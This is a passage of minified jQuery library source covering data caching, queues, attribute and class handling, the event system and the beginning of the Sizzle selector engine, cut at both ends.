le.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(u.style.zoom=1)),u.removeChild(n),n=d=a=r=null)}),n=s=u=l=r=a=null,t}();var O=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,B=/([A-Z])/g;function P(e,n,r,i){if(b.acceptData(e)){var o,a,s=b.expando,u="string"==typeof n,l=e.nodeType,p=l?b.cache:e,f=l?e[s]:e[s]&&s;if(f&&p[f]&&(i||p[f].data)||!u||r!==t)return f||(l?e[s]=f=c.pop()||b.guid++:f=s),p[f]||(p[f]={},l||(p[f].toJSON=b.noop)),("object"==typeof n||"function"==typeof n)&&(i?p[f]=b.extend(p[f],n):p[f].data=b.extend(p[f].data,n)),o=p[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[b.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[b.camelCase(n)])):a=o,a}}function R(e,t,n){if(b.acceptData(e)){var r,i,o,a=e.nodeType,s=a?b.cache:e,u=a?e[b.expando]:b.expando;if(s[u]){if(t&&(o=n?s[u]:s[u].data)){b.isArray(t)?t=t.concat(b.map(t,b.camelCase)):t in o?t=[t]:(t=b.camelCase(t),t=t in o?[t]:t.split(" "));for(r=0,i=t.length;i>r;r++)delete o[t[r]];if(!(n?$:b.isEmptyObject)(o))return}(n||(delete s[u].data,$(s[u])))&&(a?b.cleanData([e],!0):b.support.deleteExpando||s!=s.window?delete s[u]:s[u]=null)}}}b.extend({cache:{},expando:"jQuery"+(p+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?b.cache[e[b.expando]]:e[b.expando],!!e&&!$(e)},data:function(e,t,n){return P(e,t,n)},removeData:function(e,t){return R(e,t)},_data:function(e,t,n){return P(e,t,n,!0)},_removeData:function(e,t){return R(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&b.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),b.fn.extend({data:function(e,n){var r,i,o=this[0],a=0,s=null;if(e===t){if(this.length&&(s=b.data(o),1===o.nodeType&&!b._data(o,"parsedAttrs"))){for(r=o.attributes;r.length>a;a++)i=r[a].name,i.indexOf("data-")||(i=b.camelCase(i.slice(5)),W(o,i,s[i]));b._data(o,"parsedAttrs",!0)}return s}return"object"==typeof e?this.each(function(){b.data(this,e)}):b.access(this,function(n){return n===t?o?W(o,e,b.data(o,e)):null:(this.each(function(){b.data(this,e,n)}),t)},null,n,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){b.removeData(this,e)})}});function W(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(B,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:O.test(r)?b.parseJSON(r):r}catch(o){}b.data(e,n,r)}else r=t}return r}function $(e){var t;for(t in e)if(("data"!==t||!b.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}b.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=b._data(e,n),r&&(!i||b.isArray(r)?i=b._data(e,n,b.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=b.queue(e,t),r=n.length,i=n.shift(),o=b._queueHooks(e,t),a=function(){b.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),o.cur=i,i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return b._data(e,n)||b._data(e,n,{empty:b.Callbacks("once memory").add(function(){b._removeData(e,t+"queue"),b._removeData(e,n)})})}}),b.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?b.queue(this[0],e):n===t?this:this.each(function(){var t=b.queue(this,e,n);b._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&b.dequeue(this,e)})},dequeue:function(e){return this.each(function(){b.dequeue(this,e)})},delay:function(e,t){return e=b.fx?b.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=b.Deferred(),a=this,s=this.length,u=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=b._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(u));return u(),o.promise(n)}});var I,z,X=/[\t\r\n]/g,U=/\r/g,V=/^(?:input|select|textarea|button|object)$/i,Y=/^(?:a|area)$/i,J=/^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,G=/^(?:checked|selected)$/i,Q=b.support.getSetAttribute,K=b.support.input;b.fn.extend({attr:function(e,t){return b.access(this,b.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){b.removeAttr(this,e)})},prop:function(e,t){return b.access(this,b.prop,e,t,arguments.length>1)},removeProp:function(e){return e=b.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,u="string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=b.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,u=0===arguments.length||"string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?b.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e,r="boolean"==typeof t;return b.isFunction(e)?this.each(function(n){b(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var o,a=0,s=b(this),u=t,l=e.match(w)||[];while(o=l[a++])u=r?u:!s.hasClass(o),s[u?"addClass":"removeClass"](o)}else(n===i||"boolean"===n)&&(this.className&&b._data(this,"__className__",this.className),this.className=this.className||e===!1?"":b._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(X," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=b.isFunction(e),this.each(function(n){var o,a=b(this);1===this.nodeType&&(o=i?e.call(this,n,a.val()):e,null==o?o="":"number"==typeof o?o+="":b.isArray(o)&&(o=b.map(o,function(e){return null==e?"":e+""})),r=b.valHooks[this.type]||b.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=b.valHooks[o.type]||b.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(U,""):null==n?"":n)}}}),b.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,u=0>i?s:o?i:0;for(;s>u;u++)if(n=r[u],!(!n.selected&&u!==i||(b.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&b.nodeName(n.parentNode,"optgroup"))){if(t=b(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n=b.makeArray(t);return b(e).find("option").each(function(){this.selected=b.inArray(b(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attr:function(e,n,r){var o,a,s,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return typeof e.getAttribute===i?b.prop(e,n,r):(a=1!==u||!b.isXMLDoc(e),a&&(n=n.toLowerCase(),o=b.attrHooks[n]||(J.test(n)?z:I)),r===t?o&&a&&"get"in o&&null!==(s=o.get(e,n))?s:(typeof e.getAttribute!==i&&(s=e.getAttribute(n)),null==s?t:s):null!==r?o&&a&&"set"in o&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r):(b.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=b.propFix[n]||n,J.test(n)?!Q&&G.test(n)?e[b.camelCase("default-"+n)]=e[r]=!1:e[r]=!1:b.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!b.support.radioValue&&"radio"===t&&b.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!b.isXMLDoc(e),a&&(n=b.propFix[n]||n,o=b.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):V.test(e.nodeName)||Y.test(e.nodeName)&&e.href?0:t}}}}),z={get:function(e,n){var r=b.prop(e,n),i="boolean"==typeof r&&e.getAttribute(n),o="boolean"==typeof r?K&&Q?null!=i:G.test(n)?e[b.camelCase("default-"+n)]:!!i:e.getAttributeNode(n);return o&&o.value!==!1?n.toLowerCase():t},set:function(e,t,n){return t===!1?b.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&b.propFix[n]||n,n):e[b.camelCase("default-"+n)]=e[n]=!0,n}},K&&Q||(b.attrHooks.value={get:function(e,n){var r=e.getAttributeNode(n);return b.nodeName(e,"input")?e.defaultValue:r&&r.specified?r.value:t},set:function(e,n,r){return b.nodeName(e,"input")?(e.defaultValue=n,t):I&&I.set(e,n,r)}}),Q||(I=b.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&("id"===n||"name"===n||"coords"===n?""!==r.value:r.specified)?r.value:t},set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},b.attrHooks.contenteditable={get:I.get,set:function(e,t,n){I.set(e,""===t?!1:t,n)}},b.each(["width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}})})),b.support.hrefNormalized||(b.each(["href","src","width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return null==r?t:r}})}),b.each(["href","src"],function(e,t){b.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}})),b.support.style||(b.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),b.support.optSelected||(b.propHooks.selected=b.extend(b.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),b.support.enctype||(b.propFix.enctype="encoding"),b.support.checkOn||b.each(["radio","checkbox"],function(){b.valHooks[this]={get:function(e){return null===e.getAttribute("value")?"on":e.value}}}),b.each(["radio","checkbox"],function(){b.valHooks[this]=b.extend(b.valHooks[this],{set:function(e,n){return b.isArray(n)?e.checked=b.inArray(b(e).val(),n)>=0:t}})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}b.event={global:{},add:function(e,n,r,o,a){var s,u,l,c,p,f,d,h,g,m,y,v=b._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=b.guid++),(u=v.events)||(u=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof b===i||e&&b.event.triggered===e.type?t:b.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(w)||[""],l=n.length;while(l--)s=rt.exec(n[l])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),p=b.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=b.event.special[g]||{},d=b.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&b.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=u[g])||(h=u[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),b.event.global[g]=!0;e=null}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,p,f,d,h,g,m=b.hasData(e)&&b._data(e);if(m&&(c=m.events)){t=(t||"").match(w)||[""],l=t.length;while(l--)if(s=rt.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=b.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),u=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));u&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||b.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)b.event.remove(e,d+t[l],n,r,!0);b.isEmptyObject(c)&&(delete m.handle,b._removeData(e,"events"))}},trigger:function(n,r,i,a){var s,u,l,c,p,f,d,h=[i||o],g=y.call(n,"type")?n.type:n,m=y.call(n,"namespace")?n.namespace.split("."):[];if(l=f=i=i||o,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+b.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),u=0>g.indexOf(":")&&"on"+g,n=n[b.expando]?n:new b.Event(g,"object"==typeof n&&n),n.isTrigger=!0,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:b.makeArray(r,[n]),p=b.event.special[g]||{},a||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!a&&!p.noBubble&&!b.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(l=l.parentNode);l;l=l.parentNode)h.push(l),f=l;f===(i.ownerDocument||o)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((l=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(b._data(l,"events")||{})[n.type]&&b._data(l,"handle"),s&&s.apply(l,r),s=u&&l[u],s&&b.acceptData(l)&&s.apply&&s.apply(l,r)===!1&&n.preventDefault();if(n.type=g,!(a||n.isDefaultPrevented()||p._default&&p._default.apply(i.ownerDocument,r)!==!1||"click"===g&&b.nodeName(i,"a")||!b.acceptData(i)||!u||!i[g]||b.isWindow(i))){f=i[u],f&&(i[u]=null),b.event.triggered=g;try{i[g]()}catch(v){}b.event.triggered=t,f&&(i[u]=f)}return n.result}},dispatch:function(e){e=b.event.fix(e);var n,r,i,o,a,s=[],u=h.call(arguments),l=(b._data(this,"events")||{})[e.type]||[],c=b.event.special[e.type]||{};if(u[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=b.event.handlers.call(this,e,l),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((b.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],u=n.delegateCount,l=e.target;if(u&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(o=[],a=0;u>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?b(r,this).index(l)>=0:b.find(r,this,null,[l]).length),o[r]&&o.push(i);o.length&&s.push({elem:l,handlers:o})}return n.length>u&&s.push({elem:this,handlers:n.slice(u)}),s},fix:function(e){if(e[b.expando])return e;var t,n,r,i=e.type,a=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new b.Event(a),t=r.length;while(t--)n=r[t],e[n]=a[n];return e.target||(e.target=a.srcElement||o),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,a):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,a,s=n.button,u=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||o,a=i.documentElement,r=i.body,e.pageX=n.clientX+(a&&a.scrollLeft||r&&r.scrollLeft||0)-(a&&a.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(a&&a.scrollTop||r&&r.scrollTop||0)-(a&&a.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&u&&(e.relatedTarget=u===e.target?n.toElement:u),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},click:{trigger:function(){return b.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t}},focus:{trigger:function(){if(this!==o.activeElement&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===o.activeElement&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=b.extend(new b.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?b.event.trigger(i,null,t):b.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},b.removeEvent=o.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},b.Event=function(e,n){return this instanceof b.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&b.extend(this,n),this.timeStamp=e&&e.timeStamp||b.now(),this[b.expando]=!0,t):new b.Event(e,n)},b.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},b.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){b.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj; return(!i||i!==r&&!b.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),b.support.submitBubbles||(b.event.special.submit={setup:function(){return b.nodeName(this,"form")?!1:(b.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=b.nodeName(n,"input")||b.nodeName(n,"button")?n.form:t;r&&!b._data(r,"submitBubbles")&&(b.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),b._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&b.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return b.nodeName(this,"form")?!1:(b.event.remove(this,"._submit"),t)}}),b.support.changeBubbles||(b.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(b.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),b.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),b.event.simulate("change",this,e,!0)})),!1):(b.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!b._data(t,"changeBubbles")&&(b.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||b.event.simulate("change",this.parentNode,e,!0)}),b._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return b.event.remove(this,"._change"),!Z.test(this.nodeName)}}),b.support.focusinBubbles||b.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){b.event.simulate(t,e.target,b.event.fix(e),!0)};b.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),b.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return b().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=b.guid++)),this.each(function(){b.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,b(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){b.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){b.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?b.event.trigger(e,n,r,!0):t}}),function(e,t){var n,r,i,o,a,s,u,l,c,p,f,d,h,g,m,y,v,x="sizzle"+-new Date,w=e.document,T={},N=0,C=0,k=it(),E=it(),S=it(),A=typeof t,j=1<<31,D=[],L=D.pop,H=D.push,q=D.slice,M=D.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},_="[\\x20\\t\\r\\n\\f]",F="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=F.replace("w","w#"),B="([*^$|!~]?=)",P="\\["+_+"*("+F+")"+_+"*(?:"+B+_+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+O+")|)|)"+_+"*\\]",R=":("+F+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+P.replace(3,8)+")*)|.*)\\)|)",W=RegExp("^"+_+"+|((?:^|[^\\\\])(?:\\\\.)*)"+_+"+$","g"),$=RegExp("^"+_+"*,"+_+"*"),I=RegExp("^"+_+"*([\\x20\\t\\r\\n\\f>+~])"+_+"*"),z=RegExp(R),X=RegExp("^"+O+"$"),U={ID:RegExp("^#("+F+")"),CLASS:RegExp("^\\.("+F+")"),NAME:RegExp("^\\[name=['\"]?("+F+")['\"]?\\]"),TAG:RegExp("^("+F.replace("w","w*")+")"),ATTR:RegExp("^"+P),PSEUDO:RegExp("^"+R),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+_+"*(even|odd|(([+-]|)(\\d*)n|)"+_+"*(?:([+-]|)"+_+"*(\\d+)|))"+_+"*\\)|)","i"),needsContext:RegExp("^"+_+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+_+"*((?:-\\d)?\\d*)"+_+"*\\)|)(?=[^-]|$)","i")},V=/[\x20\t\r\n\f]*[+~]/,Y=/^[^{]+\{\s*\[native code/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,G=/^(?:input|select|textarea|button)$/i,Q=/^h\d$/i,K=/'|\\/g,Z=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,et=/\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,tt=function(e,t){var n="0x"+t-65536;return n!==n?t:0>n?String.fromCharCode(n+65536):String.fromCharCode(55296|n>>10,56320|1023&n)};try{q.call(w.documentElement.childNodes,0)[0].nodeType}catch(nt){q=function(e){var t,n=[];while(t=this[e++])n.push(t);return n}}function rt(e){return Y.test(e+"")}function it(){var e,t=[];return e=function(n,r){return t.push(n+=" ")>i.cacheLength&&delete e[t.shift()],e[n]=r}}function ot(e){return e[x]=!0,e}function at(e){var t=p.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}}function st(e,t,n,r){var i,o,a,s,u,l,f,g,m,v;if((t?t.ownerDocument||t:w)!==p&&c(t),t=t||p,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(!d&&!r){if(i=J.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&y(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return H.apply(n,q.call(t.getElementsByTagName(e),0)),n;if((a=i[3])&&T.getByClassName&&t.getElementsByClassName)return H.apply(n,q.call(t.getElementsByClassName(a),0)),n}if(T.qsa&&!h.test(e)){if(f=!0,g=x,m=t,v=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){l=ft(e),(f=t.getAttribute("id"))?g=f.replace(K,"\\$&"):t.setAttribute("id",g),g="[id='"+g+"'] ",u=l.length;while(u--)l[u]=g+dt(l[u]);m=V.test(e)&&t.parentNode||t,v=l.join(",")}if(v)try{return H.apply(n,q.call(m.querySelectorAll(v),0)),n}catch(b){}finally{f||t.removeAttribute("id")}}}return wt(e.replace(W,"$1"),t,n,r)}a=st.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},c=st.setDocument=function(e){var n=e?e.ownerDocument||e:w;return n!==p&&9===n.nodeType&&n.documentElement?(p=n,f=n.documentElement,d=a(n),T.tagNameNoComments=at(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),T.attributes=at(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return"boolean"!==t&&"string"!==t}),T.getByClassName=at(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",e.getElementsByClassName&&e.getElementsByClassName("e").length?(e.lastChild.className="e",2===e.getElementsByClassName("e").length):!1}),T.getByName=at(function(e){e.id=x+0,e.innerHTML="<a name='"+x+"'></a><div name='"+x+"'></div>",f.insertBefore(e,f.firstChild);var t=n.getElementsByName&&n.getElementsByName(x).length===2+n.getElementsByName(x+0).length;return T.getIdNotName=!n.getElementById(x),f.removeChild(e),t}),i.attrHandle=at(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==A&&"#"===e.firstChild.getAttribute("href")})?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},T.getIdNotName?(i.find.ID=function(e,t){if(typeof t.getElementById!==A&&!d){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){return e.getAttribute("id")===t}}):(i.find.ID=function(e,n){if(typeof 